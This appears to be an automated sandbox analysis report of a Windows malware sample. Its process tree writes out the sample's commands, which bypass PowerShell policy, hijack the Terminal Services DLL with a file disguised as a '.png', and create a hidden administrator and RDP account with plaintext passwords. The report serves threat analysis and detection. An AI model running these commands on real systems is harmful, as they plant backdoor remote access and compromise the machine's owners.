Analysis

  • max time kernel
    55s
  • max time network
    124s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    11-11-2020 10:53

General

  • Target

    cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exe

  • Size

    3.1MB

  • MD5

    63a4fa287d067ff9083c6d2bf5735016

  • SHA1

    0e1ca1394559574751ba43f377aeea877ae4705c

  • SHA256

    cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36

  • SHA512

    424e2a60e704b983a4bef4a5c275c1133bbc2fd0b8d1b1b971dd79b74083878a6a8319816fc94d00f2c46e3abbaf7e4a4dd0e7599f6bdd80322f3d8a1f8a2121

Score
9/10

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies service 2 TTPs 2 IoCs
  • Drops file in Windows directory 8 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 15 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 67 IoCs
  • Suspicious use of WriteProcessMemory 70 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exe
    "C:\Users\Admin\AppData\Local\Temp\cd9d2ef442418e6a62d0a887e5f970301a48a52e4ec65e26cb31efbee14c8c36.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:632
    • \??\c:\windows\System32\WindowsPowerShell\v1.0\powershell.exe
      -ep bypass -noexit -f C:\Users\Admin\AppData\Local\Temp\get-points.ps1
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4028
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aiaedqju\aiaedqju.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:184
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESBE93.tmp" "c:\Users\Admin\AppData\Local\Temp\aiaedqju\CSC8AF4BC17464D01A9D7659FDF91E9B.TMP"
          4⤵
            PID:3608
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1392
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3704
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2112
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies service
            • Modifies registry key
            PID:2212
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:380
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2584
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:424
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2188
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2252
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1632
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3360
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3996
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3724
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:4032
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:1112
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:1240
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:3168
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1132
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2316
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:2272
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc ZzvnUmPS /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:852
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc ZzvnUmPS /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2420
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc ZzvnUmPS /add
                          3⤵
                            PID:784
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3964
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1952
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:3860
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3360
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:2188
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MKLUFVRL$ /ADD
                              3⤵
                                PID:1888
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3232
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:1836
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:3372
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc ZzvnUmPS
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3872
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc ZzvnUmPS
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:64
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc ZzvnUmPS
                                  3⤵
                                    PID:2212
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C net user wgautilacc 1234
                                1⤵
                                  PID:3288
                                  • C:\Windows\system32\net.exe
                                    net user wgautilacc 1234
                                    2⤵
                                      PID:1712
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 user wgautilacc 1234
                                        3⤵
                                          PID:1564

                                    Network

                                    MITRE ATT&CK Matrix ATT&CK v6

                                    Persistence

                                    Account Manipulation

                                    1
                                    T1098

                                    Registry Run Keys / Startup Folder

                                    1
                                    T1060

                                    Modify Existing Service

                                    1
                                    T1031

                                    Defense Evasion

                                    Modify Registry

                                    3
                                    T1112

                                    Lateral Movement

                                    Remote Desktop Protocol

                                    1
                                    T1076

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                      MD5

                                      525c8172539cddd625bd3fe2e504b75c

                                      SHA1

                                      89b62752eaa65c9caf68b4229216b3bfd4091b93

                                      SHA256

                                      66a60ca54dba739c590f7644d6e5ef731c51ac80835786f8155fd5dcf8ec3ef4

                                      SHA512

                                      4de4d86027cd2f19b274fda37a4319d4f3cdd3729d83f5d58781ce14713403c095455df1434216eeed6a6d06439a92e844edecb7d05a989cf4625e868d53bc31

                                    • C:\Users\Admin\AppData\Local\Temp\RESBE93.tmp
                                      MD5

                                      79e08933902978f1643b8582bf3197d7

                                      SHA1

                                      c2724ed8ddda3141cdc1575fc77b84a1c93a4823

                                      SHA256

                                      03ac892aad4412f676a286320a0c67bf9a587dd4bc869f3b8bd051ad9b3cda93

                                      SHA512

                                      3ec0d1c7e45c06cdac6dc68f0a4733a7cecb29ee789e28136298a15aed63ed08b1b4b883ef56e769d4174837db38f5fa6a6d1e3fd4d798e5089b486d16529ae0

                                    • C:\Users\Admin\AppData\Local\Temp\aiaedqju\aiaedqju.dll
                                      MD5

                                      e85bbc5001eba2335e3573e08fd8a68c

                                      SHA1

                                      5ffc718ccde75123662989b2d0ad89bece2c97e5

                                      SHA256

                                      863faaee290b318c2d679d4bb92e518e27410a22e3fe269d2db422d8726c118a

                                      SHA512

                                      bce1bd6fa0a947e4b7bb48a6ff9e3e2fe04528745db146b2165a80c1166bb5a89fa3abfa3129c1b2e37bc8500e4eb2fbfec867423d4d0b656469bb69a10d0142

                                    • C:\Users\Admin\AppData\Local\Temp\get-points.ps1
                                      MD5

                                      41d1a9d1cbee90f1e5f27fdfb299f8b8

                                      SHA1

                                      1e9ac27006a7c364649265246fccbd719418ceab

                                      SHA256

                                      0f6c089b4cefa4a454150f08519573283b1a38e2c19cd7b04855a05d686d41b4

                                      SHA512

                                      f178f88d0491cf72c3d4d591ab1d428691474a4c443822a0d270555c9dc4d05932057847b0e7106d564e6c9ddb33c0649e472258afca10696edc3dbb00f33422

                                    • \??\c:\Users\Admin\AppData\Local\Temp\aiaedqju\CSC8AF4BC17464D01A9D7659FDF91E9B.TMP
                                      MD5

                                      b853fe0d9efef8656f10907b6beeebd5

                                      SHA1

                                      4200f3dc0fe3d704aa00d2070797a05e41fd31ab

                                      SHA256

                                      014fb2b2ae663435214e82b414327d2149c012738ab87f67e07832f0b9bfbe43

                                      SHA512

                                      1d311a28ed1c073745e2c5d3204cf3a0f94ec9f9ddcddcd3d1b8d27766f540c8ae7d61babc31ca0e96e5e380b4eb54da2f338ebc7613f8d48ded053fbd6fb44e

                                    • \??\c:\Users\Admin\AppData\Local\Temp\aiaedqju\aiaedqju.0.cs
                                      MD5

                                      8e55cb0ca998472ab6d3e295e0c4dd50

                                      SHA1

                                      407d07a29b89fc3afc246c0680d5857e3f51019d

                                      SHA256

                                      63e03eacae29a0d2187103f57a01a5e92ecb3b83a0452e05926303ab57a86685

                                      SHA512

                                      c51982ecdad9a366544cfb68a52808f6a54ed45c1e5b384c0ac5354fe713c18a16c90ee57e0d018caad02f7f293677c62f4c8a9a51bdea143f3afe593172bd28

                                    • \??\c:\Users\Admin\AppData\Local\Temp\aiaedqju\aiaedqju.cmdline
                                      MD5

                                      8dea0e89d03bffd646d16884da5b01a0

                                      SHA1

                                      9585070bed528144401068f4a19e8c5612856e2a

                                      SHA256

                                      15f568c1692b1774894730a86e019456f11035ed26742b3a5348aca0d0af94b9

                                      SHA512

                                      f4bc8a23b62e35e61d97d201155d842ef0faf2c490b13802fbe3d6f3e88f69f624c0d9a5b44fae59cbcb28cd0916d6c133635d83ed6ee32dfca3215e596ec841

                                    • \Windows\Branding\mediasrv.png
                                      MD5

                                      37fb7ba711ffbe9d6ebb27d54e827966

                                      SHA1

                                      4d4d9303e011bcb14720b24239a1aacd58122f47

                                      SHA256

                                      81b857da0878a957125253a0a5eb80d64c7ab9826797304813d8ed3c3e7f84c5

                                      SHA512

                                      3f0358b9e7d89fba96e6e9bbe804c26b886a4678a6aa49bc2e784bf180b86c863e3e9a54da71f6856f5b4bb7d28b4e56269dbf31015fdba3b4b808eb66e3aedf

                                    • \Windows\Branding\mediasvc.png
                                      MD5

                                      2f916498a393e2f0d008d33a74c062ba

                                      SHA1

                                      404d52d4253ef3843ae3f2c4aff050f37fcd3f08

                                      SHA256

                                      d5038b5227bc35e157dd225c7bb54f0bcf3ba8d8b48cbb930b4ccb65c23d3412

                                      SHA512

                                      d952a820a966c6cadc1750947d053d01e4e6476d074b6cd460555cc9f8417bd7412beebb65cfa8a121edcce9aab110a5909251146fce703d1b4e984788486f10

                                    • memory/64-56-0x0000000000000000-mapping.dmp
                                    • memory/184-8-0x0000000000000000-mapping.dmp
                                    • memory/380-33-0x0000000000000000-mapping.dmp
                                    • memory/424-35-0x0000000000000000-mapping.dmp
                                    • memory/632-1-0x0000000000CA0000-0x0000000000CA1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/640-22-0x0000000000000000-mapping.dmp
                                    • memory/640-23-0x00007FF9E7010000-0x00007FF9E79FC000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/784-49-0x0000000000000000-mapping.dmp
                                    • memory/1112-43-0x0000000000000000-mapping.dmp
                                    • memory/1240-58-0x0000000000000000-mapping.dmp
                                    • memory/1392-18-0x0000000000000000-mapping.dmp
                                    • memory/1392-19-0x00007FF9E7010000-0x00007FF9E79FC000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/1564-61-0x0000000000000000-mapping.dmp
                                    • memory/1632-38-0x0000000000000000-mapping.dmp
                                    • memory/1712-60-0x0000000000000000-mapping.dmp
                                    • memory/1836-54-0x0000000000000000-mapping.dmp
                                    • memory/1888-53-0x0000000000000000-mapping.dmp
                                    • memory/1952-50-0x0000000000000000-mapping.dmp
                                    • memory/2112-31-0x0000000000000000-mapping.dmp
                                    • memory/2188-52-0x0000000000000000-mapping.dmp
                                    • memory/2188-36-0x0000000000000000-mapping.dmp
                                    • memory/2212-32-0x0000000000000000-mapping.dmp
                                    • memory/2212-57-0x0000000000000000-mapping.dmp
                                    • memory/2252-37-0x0000000000000000-mapping.dmp
                                    • memory/2272-47-0x0000000000000000-mapping.dmp
                                    • memory/2316-46-0x0000000000000000-mapping.dmp
                                    • memory/2420-48-0x0000000000000000-mapping.dmp
                                    • memory/2584-34-0x0000000000000000-mapping.dmp
                                    • memory/3168-59-0x0000000000000000-mapping.dmp
                                    • memory/3360-39-0x0000000000000000-mapping.dmp
                                    • memory/3372-55-0x0000000000000000-mapping.dmp
                                    • memory/3608-11-0x0000000000000000-mapping.dmp
                                    • memory/3704-27-0x00007FF9E7010000-0x00007FF9E79FC000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/3704-25-0x0000000000000000-mapping.dmp
                                    • memory/3724-41-0x0000000000000000-mapping.dmp
                                    • memory/3860-51-0x0000000000000000-mapping.dmp
                                    • memory/3996-40-0x0000000000000000-mapping.dmp
                                    • memory/4028-16-0x000001CCA05B0000-0x000001CCA05B1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4028-6-0x000001CC982E0000-0x000001CC982E1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4028-15-0x000001CC98010000-0x000001CC98011000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4028-5-0x000001CCFFEF0000-0x000001CCFFEF1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4028-17-0x000001CCA0940000-0x000001CCA0941000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4028-4-0x000001CCFD2D0000-0x000001CCFD2D1000-memory.dmp
                                      Filesize

                                      4KB

                                    • memory/4028-3-0x00007FF9E7010000-0x00007FF9E79FC000-memory.dmp
                                      Filesize

                                      9.9MB

                                    • memory/4028-2-0x0000000000000000-mapping.dmp
                                    • memory/4032-42-0x0000000000000000-mapping.dmp